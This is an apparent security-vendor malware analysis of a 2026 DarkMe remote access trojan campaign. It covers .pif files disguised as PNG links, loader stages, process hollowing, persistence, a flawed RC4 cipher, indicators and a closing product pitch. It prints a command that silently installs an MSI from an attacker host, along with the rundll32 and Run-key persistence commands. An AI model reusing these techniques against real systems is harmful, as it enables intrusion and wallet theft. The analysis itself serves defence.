In early 2024, DarkMe reached its victims through a zero-day in Microsoft Defender SmartScreen. On August 31, 2026, it turned up in two separate organisations, delivered through a link to a file called image.png.
That link did not serve an image. It served image.pif, a program, and both users double-clicked it.
What is DarkMe? DarkMe is a remote access trojan and information stealer written in Visual Basic 6, first observed in September 2021. It is usually attributed to the financially motivated group Water Hydra, also tracked as DarkCasino. Its historical targets were forex traders, stock-trading forums, online gambling platforms and cryptocurrency users.
The Link Said PNG, The Server Sent A Program
The phishing email pointed to readonline365[.]com/view/image.png. What came back was image.pif, a 1 MB 64-bit Windows executable. Other delivery hosts redirected .png and .pdf URLs straight to a .pif file. Five delivery hosts were identified in total.
The format is a relic. Program Information Files date from the Windows 3.x era, when they stored launch settings for DOS programs. Modern Windows still runs a .pif as a program, whatever its icon suggests. Its Properties sheet calls it a “Shortcut to MS-DOS program”.
The piffile class carries the NeverShowExt registry value, so .pif stays hidden even when Explorer is set to show file extensions. In a folder view, the file simply reads image.
Forged metadata completes the disguise. Renamed to .exe, the binary claims to belong to “Aegis Sentinel”, a security product with no connection to the campaign.
From Double-Click To Silent Installer
Running image.pif launches msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart. No window appears and no reboot is requested.
The installer is wrapped with the exemsi MSI Wrapper under the cover name “PrinterFind Softwares”. Its metadata records a creation date of January 11, 2024, more than two and a half years before these infections. It unpacks into %AppData%\ComponentsFolder\.
A staging script, prnfig.wsf, handles the rest of the setup. It extracts a cabinet file with EXPAND.EXE, rewrites a registry template, loads it with reg import, and calls rundll32.
Three Loaders Behind One GUID
Those imported registry entries register a COM object. Execution then runs through rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}. No DLL path appears on the command line, only the GUID. The identical command was observed in the 2024 campaign.
Behind that GUID sit three obfuscated VB6 DLLs:
Coconout.dll(28 KB) is the COM entry point. It loads the next stage and calls itsFillTextexport.Use.dllis the gate. It decides whether the machine is worth infecting and writes persistence.Finalized.dll(1.1 MB) profiles the host, decrypts the payload from a file namedcompany.cer, and injects it.
Why Phishing No Longer Needs a Zero-Day
A Sandbox Check That Looks For People
Use.dll walks the live process list and compares it against 329 application names. At least one must be running for the chain to continue. With none, it logs “No protected apps found” and exits.
The list reads like an ordinary computer in use. It covers cryptocurrency wallets such as MetaMask, Ledger Live and Exodus. Password managers, trading terminals and poker clients sit alongside Slack, Teams, Zoom and Discord. Game launchers, VPN clients, 17 customer-support consoles and OEM hardware utilities fill out the rest. One entry misspells the Mullvad daemon as mullvad-deamon.exe.
This inverts the usual evasion logic. Rather than hunting for signs of analysis tools, the loader asks for evidence of a person. A clean test machine with nothing open fails.
Hollowing A Signed Microsoft Binary
The staging script copies clspack.exe, Microsoft’s signed Zip Package Creation Tool, into %AppData%\Microsoft\. Finalized.dll starts it suspended and unmaps its image with ZwUnmapViewOfSection. DarkMe is written into the empty process through VirtualAllocEx and WriteProcessMemory. SetThreadContext and ResumeThread then hand it control.
What remains is a Microsoft-signed process name running attacker code. Its location is the tell, because a legitimate copy runs from System32 or SysWOW64, not a user’s roaming profile.
Persistence avoids the obvious route. A custom Locked:// URL protocol is registered, and its handler is the same rundll32 /sta command. Next, a Run key value named Locked launches explorer.exe "Locked://Newest" at each logon. The loader therefore restarts as a descendant of Explorer instead of straight from a suspicious Run entry.
The Encryption That Failed After Seven Bytes
DarkMe’s payload is meant to be RC4-encrypted with the key Nobodygoingout. The implementation omits the swap step in the key schedule, so the cipher state never develops. After seven bytes of real keystream, the output collapses to a constant.
Everything past those seven bytes is a single-byte XOR with 0x02. That covers the remaining 22.5 MB of payload. Recovering DarkMe from company.cer takes almost no cryptographic effort.
What Runs At The End
The final payload steals data from cryptocurrency wallets including MetaMask, Ledger, Exodus, Trezor and Phantom. It captures screenshots through GDI+ and lists installed antivirus products with a WMI query. File operations and arbitrary command execution round out the toolkit.
Command and control runs over a custom TCP channel to thatawful[.]boutique, which resolved to 67.43.50[.]11 on port 7712. Several command names mix Spanish and Italian, among them ZIPALO, COPALO and PASALO. The C2 server sits with a Prague hosting provider and exposes RDP and WinRM to the internet.
The Operator Is Less Certain Than The Malware
DarkMe is usually attributed to Water Hydra. That attribution carries caveats in the 2026 analysis, and nothing in this campaign confirms it. The DLLs were compiled in a Spanish-localised development environment. Two stages keep the default Spanish project filename Proyecto 1.dll, and developer paths include an Italian word.
Those artefacts suggest a developer who is Spanish or living in Spain. They do not establish who runs the campaign. Neither affected organisation has been named, and their sectors were not disclosed.
Why The Zero-Days Stopped Mattering
Earlier DarkMe waves relied on CVE-2023-38831, a WinRAR extension-spoofing flaw, and CVE-2024-21412, a SmartScreen bypass Microsoft patched in February 2024. Both exploits did one job. They got an executable past a check that asks where a file came from.
The 2026 chain skips that step. A .pif with a hidden extension needs no bypass, because the user launches it directly. Everything after the click uses tools Windows trusts: msiexec, reg, rundll32 and a signed Microsoft binary. It is the same trade we saw in WordlistLoader and SynkLoader, where the victim’s own action replaced the exploit.
Specific detections for this chain exist: rundll32 /sta with no DLL path, remote MSI URLs, signed binaries running from %AppData%. Each one fires after the unknown file has already started. Execution Governance asks an earlier question. What is an unverified program from an email link allowed to do at all? Constrained at the kernel boundary, image.pif could still run. Its installs, registry writes and injected processes would no longer be the attacker’s choice. Detection and that constraint work at different moments, and this campaign needs both.
Conclusion: The Exploit Disappeared. The Malware Did Not.
DarkMe’s 2026 delivery chain shows why sophisticated malware does not always require sophisticated initial access. Earlier campaigns relied on zero-day vulnerabilities to move executable content past security boundaries. This time, the attacker replaced those exploits with a phishing email, a misleading .png URL, and a .pif file that Windows still treats as executable code.
Once the victim launched that file, the simplicity ended. The chain silently retrieved a remote MSI, staged scripts and registry changes, registered a COM object, established persistence, and ultimately hollowed a Microsoft-signed process to run DarkMe. The malware then gained the ability to steal wallet data, capture screenshots, execute commands, manipulate files, and communicate with its command server.
The defensive lesson is not that zero-days matter less. It is that attackers will not spend an exploit when user interaction can deliver the same execution opportunity at lower cost.
Why This Threat Matters
- Social engineering replaced exploit development. The attacker needed the user to run the file, not an unpatched vulnerability.
- The filename hid the real execution risk. A link ending in
.pngultimately delivered an executable.pif. - Trusted Windows tools carried the chain forward.
msiexec,reg,rundll32, Explorer, and a Microsoft-signed binary all appeared during execution. - Signed process identity did not equal trusted behavior. DarkMe was injected into a legitimate Microsoft process after process hollowing.
- Persistence was designed to blend into normal activity. A custom URL handler caused the malicious loader to restart beneath Explorer rather than directly from an obvious Run key.
Where Defensive Control Must Operate
Xcitium Advanced EDR, powered by Xcitium’s patented Zero-Dwell platform, addresses the execution chain from the initial unknown program through scripting, persistence, process injection, and RAT activity.
Execution Governance adds an earlier trust decision by restricting what an unverified executable from an email link is permitted to change or launch.
Because user action enabled the intrusion, Xcitium Cyber Awareness Education helps users recognize deceptive file delivery, while Phishing Simulation tests whether they resist the same link-and-launch technique in practice.
Make the Double-Click the End of the Attack
Organizations should not assume that blocking known exploits removes the delivery problem. Unknown executable content arriving through email or the web should face execution controls before it can install software, modify the registry, create persistence, or inject into trusted processes. Detection remains essential for investigation, but the strongest defensive point is before the first untrusted file is allowed to turn one click into a complete malware chain.
